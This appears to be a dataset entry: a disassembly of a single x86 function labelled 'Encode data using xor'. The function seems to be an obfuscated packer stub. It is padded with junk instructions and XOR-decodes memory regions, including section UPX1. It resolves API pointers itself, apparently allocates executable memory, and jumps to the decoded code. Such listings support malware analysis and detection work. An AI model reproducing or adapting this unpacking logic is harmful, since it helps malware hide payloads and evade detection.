Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x6cee1013
add ecx, 0xb884f75e
add edi, ecx
popal
and ecx, edi
inc edi
mov esi, 0
mov edx, ebx
dec eax
mov eax, 0x235cb96
and ecx, ecx
mov edi, edx
sub ecx, eax
add eax, eax
mov ebx, edi
not eax
mov ecx, 0x1d2f3805
add eax, 0x2a72aa58
inc esi
sub eax, ecx
sub ecx, 0x7f826f5b
cmp esi, 0x100e21b
jne 0xa789c3
add eax, 0x69961fb3
mov ecx, eax
mov eax, ecx
or ecx, edi
sub edi, ecx
dec ecx
mov ecx, 0xa78796
mov eax, esi
add esi, 0x93d4b14d
or esi, eax
mov edi, 0xa7898a
or eax, eax
or ebx, eax
sub eax, ebx
mov edx, dword [ecx]
dec esi
dec eax
and edx, 0xff
sub esi, eax
add esi, eax
add eax, ebx
xor dword [edi], edx
mov ebx, esi
mov ebx, esi
add edi, 1
and esi, ebx
add esi, eax
inc ecx
or esi, ebx
or esi, esi
cmp edi, entry0
jl 0xa78a20
add esi, 0x3ce91909
sub ebx, 0x5c993a36
sub ebx, 0x81e75c0b
mov esi, 0x8f256762
or ebx, esi
add esi, ebx
not ebx
not edi
mov edx, 0xa7898e
add edi, ebx
add ebx, 0xe6173539
sub edi, 0xb92690bf
mov edx, dword [edx]
not edi
sub esi, ebx
mov edx, dword [edx]
inc esi
sub ebx, ecx
sub ebx, esi
push edx
add esi, 0xd8a01af5
not esi
mov edx, 0xa7898a
add ecx, edi
mov edi, 0xcb40ee39
mov edx, dword [edx]
sub edi, 0x8953a7d1
inc edi
add ecx, esi
mov edx, dword [edx]
and edi, ebx
or esi, ebx
sub esp, 4
mov dword [esp], 0xa78992
add esi, 1
not ecx
call edx
add edi, 1
or ebx, ecx
pop edx
not ecx
mov edi, 0x28436156
add ecx, esi
push 0xa7899f
inc esi
dec edi
sub esp, 4
mov dword [esp], eax
mov ebx, esi
sub edi, ebx
and ebx, ebx
call edx
sub esi, edi
mov edi, ecx
push 0x40
add edi, 0x9fcadc65
sub edi, 0x6e6c8160
inc ebx
push 0x3000
and ebx, ebx
mov edi, esi
dec esi
sub esp, 4
mov dword [esp], 0x20000af8
not ebx
mov edi, 0xc0a73630
inc edi
sub esp, 4
mov dword [esp], 0
add ecx, 0x990d41d6
mov ecx, ebx
or ecx, ecx
call eax
and edi, ebx
mov ecx, 0xc9ee1657
add eax, 0x20000a4b
inc ecx
add ecx, edi
mov edx, 0x9945af4d
inc ecx
inc ecx
mov dword [eax], edx
and ebx, ebx
sub ebx, ecx
mov edx, dword [eax]
inc esi
sub edi, 0x6187cdc3
cmp edx, 0x9945af4d
je 0xa78b6e
mov edx, 0
mov dword [edx], ecx
add ecx, 0x49f5fd69
add esi, 0x77f6e19
dec ebx
sub esi, ebx
mov ecx, edi
dec ecx
add ecx, 0xee914318
mov esi, section.UPX1
or ecx, ecx
mov ecx, edi
mov eax, 0xa78795
inc ecx
or edi, edi
mov ebx, 0
dec ecx
sub edi, 0x578fcc7b
mov edx, 0xa78796
add ecx, 1
add edi, ecx
add ecx, 0x9bac7f17
lea edx, [edx + ebx]
mov edi, ecx
and ecx, edi
add edi, 0xb703ec9d
mov edx, dword [edx]
sub edi, 0x80d72391
sub edi, 0xcccf1125
and edx, 0xff
mov ecx, 0x70e97ced
add edi, 0x7b727479
inc ebx
mov edi, ecx
mov ecx, edi
not edi
cmp ebx, 0x1f4
jne 0xa78bf6
mov ebx, 0
and ecx, edi
add ecx, edi
mov edi, ecx
dec ecx
add ecx, edi
xor dword [esi], edx
and edi, ecx
mov ecx, 0x8448c940
and ecx, edi
add esi, 2
or edi, ecx
not ecx
cmp esi, eax
jl 0xa78ba3
add ecx, 0x14e053b5
sub ecx, 0xb8266a89
add ecx, ecx
sub ecx, edi
mov esi, section.UPX1
mov ecx, edi
mov edi, ecx
mov edx, section.UPX1
sub ecx, edi
sub ecx, edi
mov eax, 0xa78795
and edi, ecx
or ecx, ecx
and edi, edi
mov ebx, 0
sub edi, 0xc2d77f
mov edi, 0xde69e06a
mov bl, byte [edx]
not edi
mov edi, ecx
mov byte [esi], bl
or edi, ecx
add ecx, edi
inc esi
sub edi, 0x53905bd4
sub edi, 0xed35c51a
add edx, 2
sub ecx, 1
add ecx, ecx
cmp edx, eax
jle 0xa78c59
dec edi
dec ecx
or ecx, ecx
sub ecx, edi
sub esp, 4
mov dword [esp], 0x8dc6a0
or ecx, edi
mov edi, ecx
not ecx
ret